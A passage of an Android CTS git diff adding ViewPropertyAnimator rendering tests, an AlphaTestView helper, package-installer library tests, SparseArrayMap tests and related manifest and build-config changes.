+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.rotationX(80.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(80.0f, target.getRotationX());
+ }
+ });
+ }
+
+ @Test
+ public void testViewRotationXBy() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+ @Override
+ public void configureView(View target) {
+ target.setRotationX(30.0f);
+ }
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.rotationXBy(80.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(110.0f, target.getRotationX());
+ }
+ });
+ }
+
+ @Test
+ public void testViewRotationY() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.rotationY(25.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(25.0f, target.getRotationY());
+ }
+ });
+ }
+
+ @Test
+ public void testViewRotationYBy() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+ @Override
+ public void configureView(View target) {
+ target.setRotationY(10.0f);
+ }
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.rotationYBy(25.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(35.0f, target.getRotationY());
+ }
+ });
+ }
+
+ @Test
+ public void testViewScaleX() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.scaleX(2.5f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(2.5f, target.getScaleX());
+ }
+ });
+ }
+
+ @Test
+ public void testViewScaleXBy() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+ @Override
+ public void configureView(View target) {
+ target.setScaleX(1.2f);
+ }
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.scaleXBy(2.5f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(3.7f, target.getScaleX());
+ }
+ });
+ }
+
+ @Test
+ public void testViewScaleY() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.scaleY(3.2f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(3.2f, target.getScaleY());
+ }
+ });
+ }
+
+ @Test
+ public void testViewScaleYBy() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+ @Override
+ public void configureView(View target) {
+ target.setScaleY(1.2f);
+ }
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.scaleYBy(3.2f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(4.4f, target.getScaleY());
+ }
+ });
+ }
+
+ @Test
+ public void testViewX() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.x(27.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(27.0f, target.getX());
+ }
+ });
+ }
+
+ @Test
+ public void testViewXBy() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+ @Override
+ public void configureView(View target) {
+ target.setX(140.0f);
+ }
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.xBy(27.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(167.0f, target.getX());
+ }
+ });
+ }
+
+ @Test
+ public void testViewY() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.y(77.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(77.0f, target.getY());
+ }
+ });
+ }
+
+ @Test
+ public void testViewYBy() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+ @Override
+ public void configureView(View target) {
+ target.setY(80.0f);
+ }
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.yBy(77.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(157.0f, target.getY());
+ }
+ });
+ }
+
+ @Test
+ public void testViewZ() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.z(17.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(17.0f, target.getZ());
+ }
+ });
+ }
+
+ @Test
+ public void testViewZBy() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+ @Override
+ public void configureView(View target) {
+ target.setZ(38.0f);
+ }
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.zBy(17.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(55.0f, target.getZ());
+ }
+ });
+ }
+
+ private void runViewPropertyAnimatorTestWithoutVerification(
+ ViewPropertyAnimatorTestDelegate delegate) {
+ createViewPropertyAnimatorTest(delegate).runWithoutVerification();
+ }
+
+ private TestCaseBuilder createViewPropertyAnimatorTest(
+ final ViewPropertyAnimatorTestDelegate delegate) {
+ final CountDownLatch latch = new CountDownLatch(1);
+ return createTest().addLayout(R.layout.viewpropertyanimator_test_layout,
+ (ViewInitializer) view -> {
+ AlphaTestView alphaView = view.findViewById(R.id.alpha_test_view);
+ delegate.configureView(alphaView);
+ alphaView.setStartColor(Color.RED);
+ alphaView.setEndColor(Color.BLUE);
+ ViewPropertyAnimator animator = alphaView.animate();
+ delegate.configureAnimator(animator);
+ animator.setListener(
+ new AnimatorListenerAdapter() {
+
+ @Override
+ public void onAnimationEnd(Animator animator) {
+ delegate.verifyViewState(alphaView);
+ latch.countDown();
+ }
+
+ }).setDuration(16).start();
+ }, true, latch);
+ }
+
+ private interface ViewPropertyAnimatorTestDelegate<T extends View> {
+
+ default void configureView(T target) {
+ // NO-OP
+ }
+
+ void configureAnimator(ViewPropertyAnimator animator);
+
+ void verifyViewState(T target);
+ }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/AlphaTestView.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/AlphaTestView.java
new file mode 100644
index 0000000..d475c8f
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/AlphaTestView.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses.view;
+
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.util.AttributeSet;
+import android.view.View;
+
+/**
+ * Test View used to verify a View's custom alpha implementation logic
+ * in conjunction with {@link android.view.ViewPropertyAnimator}
+ */
+public class AlphaTestView extends View {
+
+ private Paint mPaint = new Paint();
+ private int mStartColor = Color.RED;
+ private int mEndColor = Color.BLUE;
+
+ public AlphaTestView(Context context) {
+ super(context);
+ }
+
+ public AlphaTestView(Context context, AttributeSet attrs) {
+ super(context, attrs);
+ }
+
+ public AlphaTestView(Context context, AttributeSet attrs, int defStyleAttr) {
+ super(context, attrs, defStyleAttr);
+ }
+
+ public AlphaTestView(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) {
+ super(context, attrs, defStyleAttr, defStyleRes);
+ }
+
+ public void setStartColor(int startColor) {
+ mStartColor = startColor;
+ mPaint.setColor(mStartColor);
+ }
+
+ public void setEndColor(int endColor) {
+ mEndColor = endColor;
+ }
+
+ @Override
+ protected boolean onSetAlpha(int alpha) {
+ mPaint.setColor(blendColor(mStartColor, mEndColor, 1.0f - alpha / 255.0f));
+ return true;
+ }
+
+ @Override
+ protected void onDraw(Canvas canvas) {
+ canvas.drawRect(getLeft(), getTop(), getRight(), getBottom(), mPaint);
+ }
+
+ public int getBlendedColor() {
+ return mPaint.getColor();
+ }
+
+ private int blendColor(int color1, int color2, float ratio) {
+ float inverseRatio = 1 - ratio;
+ float a = (float) Color.alpha(color1) * inverseRatio + (float) Color.alpha(color2) * ratio;
+ float r = (float) Color.red(color1) * inverseRatio + (float) Color.red(color2) * ratio;
+ float g = (float) Color.green(color1) * inverseRatio + (float) Color.green(color2) * ratio;
+ float b = (float) Color.blue(color1) * inverseRatio + (float) Color.blue(color2) * ratio;
+ return Color.argb((int) a, (int) r, (int) g, (int) b);
+ }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
index 47f4c89..55adc11 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
@@ -18,14 +18,16 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.content.Context;
import android.graphics.Bitmap;
import android.uirendering.cts.bitmapcomparers.BitmapComparer;
import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
import android.uirendering.cts.differencevisualizers.DifferenceVisualizer;
import android.uirendering.cts.differencevisualizers.PassFailVisualizer;
+import androidx.test.platform.app.InstrumentationRegistry;
+
public class BitmapAsserter {
+ private static final boolean TAKE_SCREENSHOTS_ON_FAILURE = true;
private DifferenceVisualizer mDifferenceVisualizer;
private String mClassName;
@@ -64,6 +66,7 @@
if (!success) {
BitmapDumper.dumpBitmaps(bitmap1, bitmap2, testName, mClassName, mDifferenceVisualizer);
+ onFailure(testName);
}
assertTrue(debugMessage, success);
@@ -83,9 +86,17 @@
BitmapDumper.dumpBitmap(croppedBitmap, testName, mClassName);
BitmapDumper.dumpBitmap(bitmapVerifier.getDifferenceBitmap(), testName + "_verifier",
mClassName);
+ onFailure(testName);
}
assertTrue(debugMessage, success);
}
+ private void onFailure(String testName) {
+ if (TAKE_SCREENSHOTS_ON_FAILURE) {
+ Bitmap screenshot = InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().takeScreenshot();
+ BitmapDumper.dumpBitmap(screenshot, testName + "_fullscreenshot", mClassName);
+ }
+ }
}
diff --git a/tests/tests/uirendering27/AndroidTest.xml b/tests/tests/uirendering27/AndroidTest.xml
index ecd5727..78b22fc 100644
--- a/tests/tests/uirendering27/AndroidTest.xml
+++ b/tests/tests/uirendering27/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsUiRenderingTestCases27.apk" />
diff --git a/tests/tests/util/Android.bp b/tests/tests/util/Android.bp
index 3533502..0ea529e 100644
--- a/tests/tests/util/Android.bp
+++ b/tests/tests/util/Android.bp
@@ -26,6 +26,7 @@
"androidx.annotation_annotation",
"androidx.test.rules",
"ctstestrunner-axt",
+ "cts-install-lib",
],
srcs: ["src/**/*.java"],
platform_apis: true,
diff --git a/tests/tests/util/AndroidManifest.xml b/tests/tests/util/AndroidManifest.xml
index 0e71890..77ab380 100644
--- a/tests/tests/util/AndroidManifest.xml
+++ b/tests/tests/util/AndroidManifest.xml
@@ -21,6 +21,8 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.READ_LOGS" />
<application>
+ <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
+ android:exported="true" />
<uses-library android:name="android.test.runner" />
</application>
diff --git a/tests/tests/util/src/android/util/cts/InstallUtilTest.java b/tests/tests/util/src/android/util/cts/InstallUtilTest.java
new file mode 100644
index 0000000..c3bfe28
--- /dev/null
+++ b/tests/tests/util/src/android/util/cts/InstallUtilTest.java
@@ -0,0 +1,238 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.lang.reflect.Field;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant apps cannot create installer sessions")
+/**
+ * Test for cts.install.lib.
+ * <p>This test also tries to showcase how to use the library.
+ */
+public class InstallUtilTest {
+ /**
+ * Drops adopted shell permissions and uninstalls the test apps.
+ */
+ @After
+ public void teardown() throws InterruptedException, IOException {
+ // Good tests clean up after themselves.
+ // Remember that other tests will be using the same test apps.
+ Uninstall.packages(TestApp.A, TestApp.B);
+
+ InstallUtils.dropShellPermissionIdentity();
+ }
+
+ /**
+ * Adopts common permissions needed to test rollbacks and uninstalls the
+ * test apps.
+ */
+ @Before
+ public void setup() throws InterruptedException, IOException {
+ InstallUtils.adoptShellPermissionIdentity(
+ Manifest.permission.INSTALL_PACKAGES,
+ Manifest.permission.DELETE_PACKAGES);
+ // Better tests work regardless of whether other tests clean up after themselves or not.
+ Uninstall.packages(TestApp.A, TestApp.B);
+ }
+
+ /**
+ * Asserts that the resource streams have the same content.
+ */
+ private void assertSameResource(TestApp a, TestApp b) throws Exception {
+ try (InputStream is1 = a.getResourceStream(a.getResourceNames()[0]);
+ InputStream is2 = b.getResourceStream(b.getResourceNames()[0]);) {
+ byte[] buf1 = new byte[64];
+ byte[] buf2 = new byte[64];
+ while (true) {
+ int n1 = is1.read(buf1);
+ int n2 = is2.read(buf2);
+ assertThat(n1).isEqualTo(n2);
+ if (n1 == -1) break;
+ assertThat(buf1).isEqualTo(buf2);
+ }
+ }
+ }
+
+ @Test
+ public void testNativeFilePathTestApp() throws Exception {
+ // Install the apps
+ Install.multi(TestApp.A1, TestApp.B2).commit();
+ // Create TestApps using the native file path of the installed apps
+ TestApp a1 = new TestApp(TestApp.A1.toString(), TestApp.A1.getPackageName(),
+ TestApp.A1.getVersionCode(), false,
+ new File(InstallUtils.getPackageInfo(TestApp.A).applicationInfo.sourceDir));
+ TestApp b2 = new TestApp(TestApp.B2.toString(), TestApp.B2.getPackageName(),
+ TestApp.B2.getVersionCode(), false,
+ new File(InstallUtils.getPackageInfo(TestApp.B).applicationInfo.sourceDir));
+
+ // Assert that the resource streams have the same content
+ assertSameResource(TestApp.A1, a1);
+ assertSameResource(TestApp.B2, b2);
+ // Verify the TestApp constructor which takes a native file path
+ assertThat(a1.toString()).isEqualTo(TestApp.A1.toString());
+ assertThat(a1.getPackageName()).isEqualTo(TestApp.A1.getPackageName());
+ assertThat(a1.getVersionCode()).isEqualTo(TestApp.A1.getVersionCode());
+ assertThat(b2.toString()).isEqualTo(TestApp.B2.toString());
+ assertThat(b2.getPackageName()).isEqualTo(TestApp.B2.getPackageName());
+ assertThat(b2.getVersionCode()).isEqualTo(TestApp.B2.getVersionCode());
+ // Verify TestApps with native file paths can also be installed correctly
+ Install.multi(a1, b2).addInstallFlags(PackageManager.INSTALL_REPLACE_EXISTING).commit();
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(2);
+ }
+
+ @Test
+ public void testCommitSingleTestApp() throws Exception {
+ // Assert that the test app was not previously installed
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ // Install version 1 of TestApp.A
+ // Install#commit() asserts that the installation succeeds, so if it fails,
+ // an AssertionError would be thrown.
+ Install.single(TestApp.A1).commit();
+ // Even though the install session of TestApp.A1 is guaranteed to be committed by this stage
+ // it's still good practice to assert that the installed version of the app is the desired
+ // one. This is due to the fact that not all committed sessions are finalized sessions, i.e.
+ // staged install session.
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+ // No need to uninstall test app, as #teardown will do the job.
+ }
+
+ @Test
+ public void testCommitMultiTestApp() throws Exception {
+ // Assert that the test app was not previously installed.
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
+ // Install version 1 of TestApp.A and version 2 of TestApp.B in one atomic install.
+ // Same notes as the single install case apply in the multi install case.
+ Install.multi(TestApp.A1, TestApp.B2).commit();
+
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(2);
+ }
+
+ @Test
+ public void testOpenAndAbandonSessionForSingleApk() throws Exception {
+ int sessionId = Install.single(TestApp.A1).createSession();
+ try (PackageInstaller.Session session
+ = InstallUtils.openPackageInstallerSession(sessionId)) {
+ assertThat(session).isNotNull();
+
+ // TODO: is there a way to verify that the APK has been written?
+
+ // At this stage, the session can be directly manipulated using
+ // PackageInstaller.Session API, i.e., it can be abandoned.
+ session.abandon();
+ // TODO: maybe add session callback and verify that session was abandoned?
+ // Assert session has not been installed
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ }
+ }
+
+ @Test
+ public void testOpenAndCommitSessionForSingleApk() throws Exception {
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ int sessionId = Install.single(TestApp.A1).createSession();
+ try (PackageInstaller.Session session
+ = InstallUtils.openPackageInstallerSession(sessionId)) {
+ assertThat(session).isNotNull();
+
+ // Session can be committed directly, but a BroadcastReceiver must be provided.
+ session.commit(LocalIntentSender.getIntentSender());
+ InstallUtils.assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+
+ // Verify app has been installed
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+ }
+ }
+
+ @Test
+ public void testOpenSingleSessionWithParameters() throws Exception {
+ int sessionId = Install.single(TestApp.A1).setStaged().createSession();
+ try (PackageInstaller.Session session
+ = InstallUtils.openPackageInstallerSession(sessionId)) {
+ assertThat(session.isStaged()).isTrue();
+
+ session.abandon();
+ }
+ }
+
+ @Test
+ public void testOpenSessionForMultiPackageSession() throws Exception {
+ int parentSessionId = Install.multi(TestApp.A1, TestApp.B1).setStaged().createSession();
+ try (PackageInstaller.Session parentSession
+ = InstallUtils.openPackageInstallerSession(parentSessionId)) {
+ assertThat(parentSession.isMultiPackage()).isTrue();
+
+ assertThat(parentSession.isStaged()).isTrue();
+
+ // Child sessions are consistent with the parent parameters
+ int[] childSessionIds = parentSession.getChildSessionIds();
+ assertThat(childSessionIds.length).isEqualTo(2);
+ for (int childSessionId : childSessionIds) {
+ try (PackageInstaller.Session childSession
+ = InstallUtils.openPackageInstallerSession(childSessionId)) {
+ assertThat(childSession.isStaged()).isTrue();
+ }
+ }
+
+ parentSession.abandon();
+
+ // Verify apps have not been installed
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
+ }
+ }
+
+ @Test
+ public void testMutateInstallFlags() throws Exception {
+ PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
+ PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+ params.setInstallAsApex();
+ params.setStaged();
+ InstallUtils.mutateInstallFlags(params, 0x00080000);
+ final Class<?> clazz = params.getClass();
+ Field installFlagsField = clazz.getDeclaredField("installFlags");
+ int installFlags = installFlagsField.getInt(params);
+ assertThat(installFlags & 0x00080000).isEqualTo(0x00080000);
+ }
+}
diff --git a/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java b/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java
new file mode 100644
index 0000000..96b54ee
--- /dev/null
+++ b/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.util.SparseArrayMap;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SparseArrayMapTest {
+ private static final String[] KEYS_1 = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k"};
+ private static final String[] KEYS_2 = {"z", "y", "x", "w", "v", "u", "t", "s", "r", "q"};
+
+ @Test
+ public void testStoreSingleInt() {
+ SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+ for (int i = 0; i < KEYS_1.length; i++) {
+ sam.add(0, KEYS_1[i], i);
+ }
+
+ assertEquals(KEYS_1.length, sam.numElementsForKey(0));
+ assertEquals(0, sam.numElementsForKey(1));
+
+ for (int i = 0; i < KEYS_1.length; i++) {
+ assertEquals(i, sam.get(0, KEYS_1[i]).intValue());
+ }
+ }
+
+ @Test
+ public void testStoreMultipleInt() {
+ SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+
+ for (int i = 0; i < KEYS_1.length; i++) {
+ sam.add(0, KEYS_1[i], i);
+ }
+ for (int i = 0; i < KEYS_2.length; i++) {
+ sam.add(1, KEYS_2[i], i);
+ }
+
+ assertEquals(KEYS_1.length, sam.numElementsForKey(0));
+ assertEquals(KEYS_2.length, sam.numElementsForKey(1));
+
+ for (int i = 0; i < KEYS_1.length; i++) {
+ assertEquals(i, sam.get(0, KEYS_1[i]).intValue());
+ assertNull(sam.get(1, KEYS_1[i]));
+ }
+ for (int i = 0; i < KEYS_2.length; i++) {
+ assertNull(sam.get(0, KEYS_2[i]));
+ assertEquals(i, sam.get(1, KEYS_2[i]).intValue());
+ }
+ }
+
+ @Test
+ public void testClear() {
+ SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+ for (int i = 0; i < KEYS_1.length; i++) {
+ sam.add(0, KEYS_1[i], i);
+ }
+
+ assertEquals(KEYS_1.length, sam.numElementsForKey(0));
+
+ sam.clear();
+ assertEquals(0, sam.numElementsForKey(0));
+ }
+
+ @Test
+ public void testContains() {
+ SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+ for (int i = 0; i < KEYS_1.length; i++) {
+ sam.add(0, KEYS_1[i], i);
+ }
+ for (int i = 0; i < KEYS_1.length; i++) {
+ assertTrue(sam.contains(0, KEYS_1[i]));
+ assertFalse(sam.contains(1, KEYS_1[i]));
+ }
+ for (int i = 0; i < KEYS_2.length; i++) {
+ assertFalse(sam.contains(0, KEYS_2[i]));
+ assertFalse(sam.contains(1, KEYS_2[i]));
+ }
+ }
+
+ @Test
+ public void testDelete() {
+ SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+ for (int i = 0; i < KEYS_1.length; i++) {
+ sam.add(0, KEYS_1[i], i);
+ sam.add(1, KEYS_1[i], i);
+ sam.add(2, KEYS_1[i], i);
+ }
+
+ for (int i = 0; i < KEYS_1.length; i++) {
+ assertTrue(sam.contains(0, KEYS_1[i]));
+ assertTrue(sam.contains(1, KEYS_1[i]));
+ assertTrue(sam.contains(2, KEYS_1[i]));
+
+ assertEquals(i, sam.delete(0, KEYS_1[i]).intValue());
+ assertFalse(sam.contains(0, KEYS_1[i]));
+ assertTrue(sam.contains(1, KEYS_1[i]));
+ assertTrue(sam.contains(2, KEYS_1[i]));
+
+ assertNull(sam.delete(0, KEYS_1[i]));
+ assertFalse(sam.contains(0, KEYS_1[i]));
+ assertTrue(sam.contains(1, KEYS_1[i]));
+ assertTrue(sam.contains(2, KEYS_1[i]));
+
+ assertEquals(i, sam.delete(1, KEYS_1[i]).intValue());
+ assertFalse(sam.contains(0, KEYS_1[i]));
+ assertFalse(sam.contains(1, KEYS_1[i]));
+ assertTrue(sam.contains(2, KEYS_1[i]));
+ }
+
+ assertEquals(0, sam.numElementsForKey(0));
+ assertEquals(0, sam.numElementsForKey(1));
+ assertEquals(KEYS_1.length, sam.numElementsForKey(2));
+ sam.delete(2);
+ assertEquals(0, sam.numElementsForKey(2));
+ }
+
+ @Test
+ public void testGetOrDefault() {
+ SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+ for (int i = 0; i < KEYS_1.length; i++) {
+ if (i % 2 == 0) {
+ sam.add(0, KEYS_1[i], i);
+ }
+ }
+
+ Integer def = Integer.MAX_VALUE;
+ for (int i = 0; i < KEYS_1.length; i++) {
+ assertEquals(i % 2 == 0 ? i : def, sam.getOrDefault(0, KEYS_1[i], def).intValue());
+ }
+ }
+
+ @Test
+ public void testIntKeyIndexing() {
+ SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+ for (int i = 0; i < KEYS_1.length; i++) {
+ sam.add(i * 2, KEYS_1[i], i * 2 + 1);
+ }
+ for (int i = 0; i < KEYS_1.length; i++) {
+ int index = sam.indexOfKey(2 * i);
+ assertEquals(2 * i, sam.keyAt(index));
+ }
+ }
+
+ @Test
+ public void testIntStringKeyIndexing() {
+ SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+ for (int i = 0; i < KEYS_1.length; i++) {
+ sam.add(i * 2, KEYS_1[i], i * 2 + 1);
+ }
+ for (int i = 0; i < KEYS_1.length; i++) {
+ int intIndex = sam.indexOfKey(2 * i);
+ int stringIndex = sam.indexOfKey(2 * i, KEYS_1[i]);
+ assertEquals(KEYS_1[i], sam.keyAt(intIndex, stringIndex));
+ }
+ }
+
+ @Test
+ public void testNumMaps() {
+ SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+ for (int i = 0; i < 10; i++) {
+ assertEquals(i, sam.numMaps());
+ sam.add(i, "blue", i);
+ assertEquals(i + 1, sam.numMaps());
+ }
+
+ // Delete a key that doesn't exist.
+ sam.delete(100);
+ assertEquals(10, sam.numMaps());
+
+ for (int i = 10; i > 0; i--) {
+ assertEquals(i, sam.numMaps());
+ sam.delete(i - 1);
+ assertEquals(i - 1, sam.numMaps());
+ }
+ }
+}
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 4bd8e6b..72d3fd1 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -382,6 +382,15 @@
<action android:name="android.intent.action.MAIN" />
</intent-filter>
</activity>
+
+ <service
+ android:name="android.view.textclassifier.cts.CtsTextClassifierService"
+ android:exported="true"
+ android:permission="android.permission.BIND_TEXTCLASSIFIER_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.textclassifier.TextClassifierService"/>
+ </intent-filter>
+ </service>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/view/AndroidTest.xml b/tests/tests/view/AndroidTest.xml
index 4f53b76..55fa315 100644
--- a/tests/tests/view/AndroidTest.xml
+++ b/tests/tests/view/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsQueryTextClassifierServiceActivity.apk" />
<option name="test-file-name" value="CtsViewTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/view/OWNERS b/tests/tests/view/OWNERS
new file mode 100644
index 0000000..7074017
--- /dev/null
+++ b/tests/tests/view/OWNERS
@@ -0,0 +1,6 @@
